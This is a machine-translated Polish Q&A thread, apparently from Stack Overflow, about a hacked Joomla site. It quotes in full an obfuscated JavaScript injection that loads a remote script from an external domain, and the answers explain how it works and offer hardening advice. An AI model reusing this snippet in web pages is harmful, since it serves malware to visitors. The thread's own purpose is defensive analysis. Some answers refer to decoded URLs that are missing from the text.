Moja Joomla! witryna została wielokrotnie włamana. Ktoś w jakiś sposób zdołał wstrzyknąć następujące śmieci do kluczowych skryptów php, ale nie mam na myśli mówić o konfigurowaniu Joomla. Witryna nie jest zbyt często odwiedzana (czasami obawiam się, że mogę być jedynym odwiedzającym tę witrynę ...) i nie obchodzi mnie zbytnio jej przywrócenie i działanie. W końcu sobie z tym poradzę.
Moje pytanie brzmi, jak działają te śmieci? Patrzę na to i po prostu nie widzę, jak to się dzieje? Próbuje pobrać plik PDF o nazwie ChangeLog.pdf, który jest zainfekowany trojanem i po otwarciu zawiesi program Acrobat i sieją spustoszenie na komputerze. Jak to się dzieje, nie wiem, nie obchodzi mnie to. Ale w jaki sposób następujący fragment skryptu wywołuje pobieranie?
<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
ESET wykrył ten kod jako trojan JS / TrojanDownloader.Agent.NRO
źródło
Odpowiedzi:
Zwróć uwagę na
replace
połączenie po gigantycznym niechlujny wyrażenie:.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
.Usuwa większość znaków specjalnych, zamieniając go w normalny adres URL:
(Ręcznie zmieniłem
http:
naevil:
)Zwróć uwagę, że wyrażenie regularne można było uprościć do
.replace(/[#$@^&()!]/ig, '')
Jeśli spojrzysz na skrypt, zobaczysz, że jest to bardzo prosty skrypt, który wstrzykuje ukrytą ramkę IFRAME zawierającą ścieżkę
/index.php?ys
z tej samej domeny.Poprosiłem o tę stronę w programie Fiddler i nie zawierała żadnej treści.
źródło
+
też klasy znaków po ... jeśli używałbym wyrażenia regularnego.Te odpowiedzi mogą pomóc ci zrozumieć naturę złośliwego kodu JavaScript, ale powinieneś szukać sposobu na zamknięcie luki w silniku Joomla. Wstępnie spakowane frameworki są podatne na luki, umyślne lub niezamierzone, zwłaszcza jeśli weźmie się pod uwagę, że zostały zaprojektowane do pracy w środowiskach unix, mac i Windows.
Moja praca wymaga uruchamiania wielu domen, aplikacji i frameworków na wielu typach serwerów i systemów dla siebie i dla klientów. Z biegiem czasu widziałem coraz więcej botów przeszukujących te systemy w poszukiwaniu znanych luk / wejść poprzez wejścia do tylnych drzwi utworzone przez te ramy. Dobrze, gdy używam jakiegokolwiek frameworka, co robię rzadko, upewniam się, że zmieniam nazwę większości, jeśli nie całej struktury plików, aby pozbyć się tych nieznośnych luk / tylnych drzwi. Przynajmniej możesz zmienić nazwy katalogów, co spowoduje odrzucenie większości botów, ale moim sposobem jest całkowite wyeliminowanie odniesień, które dają wskazówki co do natury frameworka, co obejmuje zmianę nazwy całej struktury plików, a nie tylko katalogów. Zawsze przechowuj mapę nowych konwencji nazewnictwa w stosunku do starych konwencji nazewnictwa, aby dodawanie wtyczek do podstawowego środowiska było bardzo proste. Gdy już to zrozumiesz, możesz posunąć się do programowej zmiany nazwy całej struktury plików frameworka, aby uzyskać szybsze wyniki, jest to szczególnie przydatne, gdy masz do czynienia z klientami, którzy muszą mieć możliwość aktualizacji struktury za pomocą wtyczek i tym podobnych.
źródło
Po prostu dokonuje zamiany wyrażenia regularnego w adresie URL skryptu, aby dać ci
UWAGA: NIE OBSERWUJ PONIŻEJ
**
LINKU (wstawionego, aby zniechęcić kopiujących)jako
src
źródło
Używa funkcji replace w celu zastąpienia znaków śmieci za pomocą wyrażenia regularnego, nic złego w kodzie:
źródło
Jego skrypt ładowania z
A ten skrypt ładuje się
iframe
z widocznościąhidden
źródło
Kiedy czytasz całość, stwierdzasz, że jest to ciąg, po którym następuje polecenie zamiany.
źródło
Mam ten sam sript na moich stronach w plikach indeksu *. *. Piszę własny kod w PHP. Nie pytam, jak to działa, ale pytam, jak się chronić, jeśli znasz ich tylne drzwi. Zmieniłem formularze i czytałem $ _POST i $ _GET, zastępując <> i http: // itd.
źródło
Moje dwa centy. Czy możesz / możesz zainstalować narzędzie do tworzenia kopii zapasowych Joomla, takie jak Joomlapack?
Ustawiłem go tak, aby działał za pomocą skryptu CHRON, aby utrzymać towary pod ręką na wypadek, gdyby rabusie zaczęli rabować.
Jakiej wersji Joomla używasz?
Wersje 1.0.X nie są już aktualizowane, a ich wiek naprawdę zaczyna się pojawiać. Jesteś winien sobie zrobić kopię zapasową i zaplanować aktualizację do wersji 1.5 i przewidzieć cuda wersji 1.6
źródło